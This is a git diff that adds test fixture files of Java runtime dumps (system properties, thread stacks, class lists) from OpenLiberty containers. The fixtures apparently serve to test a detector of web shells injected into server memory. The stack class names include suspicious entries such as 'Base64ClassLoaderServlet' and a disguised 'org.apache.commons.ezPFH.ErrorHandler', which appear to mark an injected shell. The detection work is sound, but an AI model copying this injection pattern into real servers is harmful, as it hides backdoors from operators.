com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:1002) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1140) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1011) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75) + at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:85) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:938) + at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:281) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1246) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:468) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:427) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:567) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:501) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:361) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:328) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:167) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:75) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:514) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:584) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:968) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1057) + at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:245) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT-SamplerThread" #11 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"Scheduled Executor-thread-1" #51 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bc765475 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-13" #89 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@23200aba + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:661) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-005" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable +com.ibm.ws.http.channel.internal.inbound.HttpInboundLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper +com.ibm.ws.kernel.boot.Launcher +com.ibm.ws.kernel.boot.cmdline.EnvCheck +com.ibm.ws.kernel.boot.internal.KernelBootstrap +com.ibm.ws.kernel.launch.internal.FrameworkManager +com.ibm.ws.kernel.launch.internal.FrameworkManager$6 +com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl +com.ibm.ws.kernel.launch.internal.ServerCommandListener +com.ibm.ws.objectManager.FileLogOutput$FlushHelper +com.ibm.ws.objectManager.FileLogOutput$NotifyHelper +com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper +com.ibm.ws.security.jaspi.JaspiServletFilter +com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread +com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager +com.ibm.ws.sib.processor.utils.am.MPAlarmThread +com.ibm.ws.tcpchannel.internal.ChannelSelector +com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback +com.ibm.ws.tcpchannel.internal.WorkQueueManager +com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker +com.ibm.ws.threading.internal.BoundedBuffer +com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.ThreadPool +com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2 +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40 +openj9.internal.tools.attach.target.CommonDirectory +openj9.internal.tools.attach.target.IPC +openj9.internal.tools.attach.target.WaitLoop +org.apache.commons.ezPFH.ErrorHandler +org.apache.felix.scr.impl.ComponentActorThread +org.apache.yoko.orb.OB.GIOPServerStarterThreaded +org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter +org.apache.yoko.orb.OCI.IIOP.Acceptor_impl +org.eclipse.osgi.container.SystemModule +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle +org.eclipse.osgi.launch.Equinox diff --git a/integration-test/src/test/resources/infos/OpenLiberty25ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/OpenLiberty25ContainerTestBasicInfo.txt new file mode 100644 index 00000000..94c995c1 --- /dev/null +++ b/integration-test/src/test/resources/infos/OpenLiberty25ContainerTestBasicInfo.txt @@ -0,0 +1,1246 @@ +# Generated At 2025-12-21 06:37:37 +SystemProps: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 17 +com.ibm.ws.beta.edition: false +sun.jnu.encoding: UTF-8 +wlp.install.dir: /opt/ol/wlp/ +wlp.workarea.dir: workarea/ +com.ibm.vm.bitmode: 64 +sun.arch.data.model: 64 +java.vendor.url: https://www.ibm.com/semeru-runtimes +jfr.unsupported.vm: true +server.output.dir: /opt/ol/wlp/output/defaultServer/ +sun.boot.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib +sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer +jdk.debug: release +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +org.apache.aries.blueprint.preemptiveShutdown: false +ibm.signalhandling.rs: false +shared.config.dir: /opt/ol/wlp/usr/shared/config/ +file.separator: / +jdk.extensions.name: Extensions for OpenJDK for Eclipse OpenJ9 +line.separator: + +jdk.attach.allowAttachSelf: true +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +org.apache.cxf.stax.allowInsecureParser: 1 +java.awt.fonts: +wlp.process.type: server +server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/ +java.fullversion: 17.0.17+10 +JRE 17 Linux amd64-64-Bit Compressed References 20251021_1193 (JIT enabled, AOT enabled) +OpenJ9 - 14b3b2de26 +OMR - d4c7e3040 +JCL - 7c916e0ce44 based on jdk-17.0.17+10 +java.runtime.version: 17.0.17+10 +user.name: default +file.encoding: UTF-8 +sun.net.http.retryPost: false +java.vendor.version: 17.0.17.0 +ibm.signalhandling.sigchain: true +java.io.tmpdir: /tmp +java.version: 17.0.17 +com.ibm.system.agent.path: /opt/java/openjdk/lib +java.vm.specification.name: Java Virtual Machine Specification +java.awt.printerjob: sun.print.PSPrinterJob +os.encoding: UTF-8 +native.encoding: UTF-8 +shared.resource.dir: /opt/ol/wlp/usr/shared/resources/ +java.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib:/usr/lib64:/usr/lib +jdk.nativePBKDF2: true +kernel.launch.time: 376478116755027 +java.vendor: IBM Corporation +java.specification.maintenance.version: 1 +ibm.system.encoding: UTF-8 +sun.io.unicode.encoding: UnicodeLittle +shared.app.dir: /opt/ol/wlp/usr/shared/apps/ +osgi.checkConfiguration: false +jdk.extensions.version: 17.0.17.0 +wlp.user.dir.isDefault: true +java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar +wlp.lib.dir: /opt/ol/wlp/lib/ +java.vm.vendor: Eclipse OpenJ9 +server.logs.dir: /liberty/logs/ +com.ibm.oti.vm.library.version: 29 +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +org.jboss.weld.xml.disableValidating: true +user.home: /home/default +user.language: en +openjdk.methodhandles: true +wlp.user.dir: /opt/ol/wlp/usr/ +java.compiler: j9jit29 +com.ibm.util.extralibs.properties: +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +com.ibm.oti.configuration: scar +com.ibm.oti.shared.enabled: true +com.ibm.oti.vm.bootstrap.library.path: /opt/java/openjdk/lib/default:/opt/java/openjdk/lib +wlp.server.name: defaultServer +com.ibm.cpu.endian: little +path.separator: : +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +java.runtime.name: IBM Semeru Runtime Open Edition +ibm.signalhandling.sigint: true +org.eclipse.openj9.criu.isCRaCCapable: true +org.eclipse.openj9.criu.isCRIUCapable: true +java.vm.name: Eclipse OpenJ9 VM +wlp.var.src.dirs: /opt/ol/wlp/usr/servers/defaultServer/variables/ +server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/ +java.vendor.url.bug: https://github.com/ibmruntimes/Semeru-Runtimes/issues +com.ibm.ws390.jta.TransactionManager: com.ibm.wsspi.zos.tx.RRSTXSynchronizationManager +user.dir: /opt/ol/wlp/output/defaultServer +os.arch: amd64 +org.eclipse.openj9.jfr.isJFREnabled: true +javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder +java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager +java.vm.info: JRE 17 Linux amd64-64-Bit Compressed References 20251021_1193 (JIT enabled, AOT enabled) +OpenJ9 - 14b3b2de26 +OMR - d4c7e3040 +JCL - 7c916e0ce44 based on jdk-17.0.17+10 +java.vm.version: 17.0.17+10-openj9-0.56.0 +com.ibm.jcl.checkClassPath: +java.lang.invoke.VarHandle.VAR_HANDLE_GUARDS: false +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"JIT Compilation Thread-000" #3 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-18" #100 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d832018f + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-6" #80 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@ba4036ee + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Liberty-kernel-CpuInfo" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fa30560 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Start Level: Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #41 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@dd384730 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:396) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:337) + +"Default Executor-thread-22" #106 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@8da1e35c + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"VM Runtime State Listener" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Executor Service Control Timer" #51 daemon [TIMED_WAITING] on java.util.TaskQueue@626e2951 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"DelayedCachedOutputStreamCleaner" #85 daemon [TIMED_WAITING] on java.util.TaskQueue@e698d89e + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"DelayedCachedOutputStreamCleaner" #65 daemon [TIMED_WAITING] on java.util.TaskQueue@7d5bc1af + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Default Executor-thread-15" #97 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7066268 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Config-Thread-2" #50 daemon [TIMED_WAITING] on java.util.concurrent.CountDownLatch$Sync@e3a22728 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer.tryAcquireSharedNanos(Unknown Source) + at java.base/java.util.concurrent.CountDownLatch.await(Unknown Source) + at com.ibm.ws.ejbcontainer.osgi.internal.EJBRuntimeImpl.waitForEJBRemoteRuntime(EJBRuntimeImpl.java:1615) + at com.ibm.ws.ejbcontainer.osgi.internal.EJBRuntimeImpl.createNameSpaceBinder(EJBRuntimeImpl.java:916) + at com.ibm.ws.ejbcontainer.runtime.AbstractEJBRuntime.startModule(AbstractEJBRuntime.java:455) + at com.ibm.ws.ejbcontainer.osgi.internal.EJBRuntimeImpl.startSystemModule(EJBRuntimeImpl.java:1141) + at com.ibm.ws.ejbcontainer.osgi.internal.EJBContainerImpl.startSystemModule(EJBContainerImpl.java:234) + at com.ibm.ws.management.j2ee.mejb.service.ManagementEJBService.startManagementEJB(ManagementEJBService.java:162) + at com.ibm.ws.management.j2ee.mejb.service.ManagementEJBService.setEJBRemoteRuntime(ManagementEJBService.java:78) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) + at java.base/java.lang.reflect.Method.invoke(Unknown Source) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invokeMethod(BaseMethod.java:257) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.access$500(BaseMethod.java:41) + at org.apache.felix.scr.impl.inject.methods.BaseMethod$Resolved.invoke(BaseMethod.java:701) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invoke(BaseMethod.java:544) + at org.apache.felix.scr.impl.inject.methods.BindMethod.invoke(BindMethod.java:42) + at org.apache.felix.scr.impl.manager.DependencyManager.doInvokeBindMethod(DependencyManager.java:2099) + at org.apache.felix.scr.impl.manager.DependencyManager.invokeBindMethod(DependencyManager.java:2074) + at org.apache.felix.scr.impl.manager.SingleComponentManager.invokeBindMethod(SingleComponentManager.java:443) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleDynamicCustomizer.tryInvokeBind0(DependencyManager.java:966) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleDynamicCustomizer.tryInvokeBind(DependencyManager.java:883) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleDynamicCustomizer.addedService(DependencyManager.java:854) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleDynamicCustomizer.addedService(DependencyManager.java:816) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1232) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1152) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.trackAdding(ServiceTracker.java:959) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.track(ServiceTracker.java:895) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:1184) + at org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo.serviceChanged(BundleComponentActivator.java:116) + at org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener.serviceChanged(FilteredServiceListener.java:134) + at org.eclipse.osgi.internal.framework.BundleContextImpl.dispatchEvent(BundleContextImpl.java:988) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous(ListenerQueue.java:151) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEventPrivileged(ServiceRegistry.java:999) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEvent(ServiceRegistry.java:933) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl.register(ServiceRegistrationImpl.java:146) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.registerService(ServiceRegistry.java:321) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:495) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:929) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:915) + at org.apache.felix.scr.impl.manager.RegistrationManager.changeRegistration(RegistrationManager.java:133) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.registerService(AbstractComponentManager.java:984) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.activateInternal(AbstractComponentManager.java:752) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.addedService(DependencyManager.java:1287) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.addedService(DependencyManager.java:1238) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1232) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1152) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.trackAdding(ServiceTracker.java:959) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.track(ServiceTracker.java:895) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:1184) + at org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo.serviceChanged(BundleComponentActivator.java:116) + at org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener.serviceChanged(FilteredServiceListener.java:134) + at org.eclipse.osgi.internal.framework.BundleContextImpl.dispatchEvent(BundleContextImpl.java:988) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous(ListenerQueue.java:151) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEventPrivileged(ServiceRegistry.java:999) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEvent(ServiceRegistry.java:933) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl.register(ServiceRegistrationImpl.java:146) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.registerService(ServiceRegistry.java:321) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:495) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:929) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:915) + at org.apache.felix.scr.impl.manager.RegistrationManager.changeRegistration(RegistrationManager.java:133) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.registerService(AbstractComponentManager.java:984) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.activateInternal(AbstractComponentManager.java:752) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.enableInternal(AbstractComponentManager.java:674) + at org.apache.felix.scr.impl.manager.ComponentFactoryImpl.newInstance(ComponentFactoryImpl.java:132) + at com.ibm.ws.transport.iiop.internal.ORBWrapper$ReadyListenerImpl.newInstance(ORBWrapper.java:119) + at com.ibm.ws.transport.iiop.internal.AcidReference.update(AcidReference.java:99) + at com.ibm.ws.transport.iiop.internal.ORBWrapper$ReadyListenerImpl.readyChanged(ORBWrapper.java:91) + at com.ibm.ws.transport.iiop.security.AbstractCsiv2SubsystemFactory$ReadyRegistration.check(AbstractCsiv2SubsystemFactory.java:210) + at com.ibm.ws.transport.iiop.security.AbstractCsiv2SubsystemFactory.updateRegistered(AbstractCsiv2SubsystemFactory.java:167) + at com.ibm.ws.transport.iiop.security.AbstractCsiv2SubsystemFactory.updatedSSLSupport(AbstractCsiv2SubsystemFactory.java:109) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) + at java.base/java.lang.reflect.Method.invoke(Unknown Source) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invokeMethod(BaseMethod.java:257) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.access$500(BaseMethod.java:41) + at org.apache.felix.scr.impl.inject.methods.BaseMethod$Resolved.invoke(BaseMethod.java:701) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invoke(BaseMethod.java:544) + at org.apache.felix.scr.impl.inject.methods.BindMethod.invoke(BindMethod.java:42) + at org.apache.felix.scr.impl.manager.DependencyManager.invokeUpdatedMethod(DependencyManager.java:2151) + at org.apache.felix.scr.impl.manager.SingleComponentManager.invokeUpdatedMethod(SingleComponentManager.java:454) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.modifiedService(DependencyManager.java:1319) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.modifiedService(DependencyManager.java:1238) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerModified(ServiceTracker.java:1245) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerModified(ServiceTracker.java:1152) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.track(ServiceTracker.java:898) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:1184) + at org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo.serviceChanged(BundleComponentActivator.java:116) + at org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener.serviceChanged(FilteredServiceListener.java:134) + at org.eclipse.osgi.internal.framework.BundleContextImpl.dispatchEvent(BundleContextImpl.java:988) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous(ListenerQueue.java:151) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEventPrivileged(ServiceRegistry.java:999) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEvent(ServiceRegistry.java:933) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl.setProperties(ServiceRegistrationImpl.java:193) + at org.apache.felix.scr.impl.manager.SingleComponentManager.updateServiceRegistration(SingleComponentManager.java:632) + at org.apache.felix.scr.impl.manager.SingleComponentManager.setServiceProperties(SingleComponentManager.java:570) + at org.apache.felix.scr.impl.manager.ComponentContextImpl.setServiceProperties(ComponentContextImpl.java:255) + at com.ibm.ws.ssl.internal.SSLComponent.processConfig(SSLComponent.java:352) + at com.ibm.ws.ssl.internal.SSLComponent.addKeyStores(SSLComponent.java:231) + at com.ibm.ws.ssl.internal.SSLComponent.setRepertoire(SSLComponent.java:251) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) + at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) + at java.base/java.lang.reflect.Method.invoke(Unknown Source) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invokeMethod(BaseMethod.java:257) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.access$500(BaseMethod.java:41) + at org.apache.felix.scr.impl.inject.methods.BaseMethod$Resolved.invoke(BaseMethod.java:701) + at org.apache.felix.scr.impl.inject.methods.BaseMethod.invoke(BaseMethod.java:544) + at org.apache.felix.scr.impl.inject.methods.BindMethod.invoke(BindMethod.java:42) + at org.apache.felix.scr.impl.manager.DependencyManager.doInvokeBindMethod(DependencyManager.java:2099) + at org.apache.felix.scr.impl.manager.DependencyManager.invokeBindMethod(DependencyManager.java:2074) + 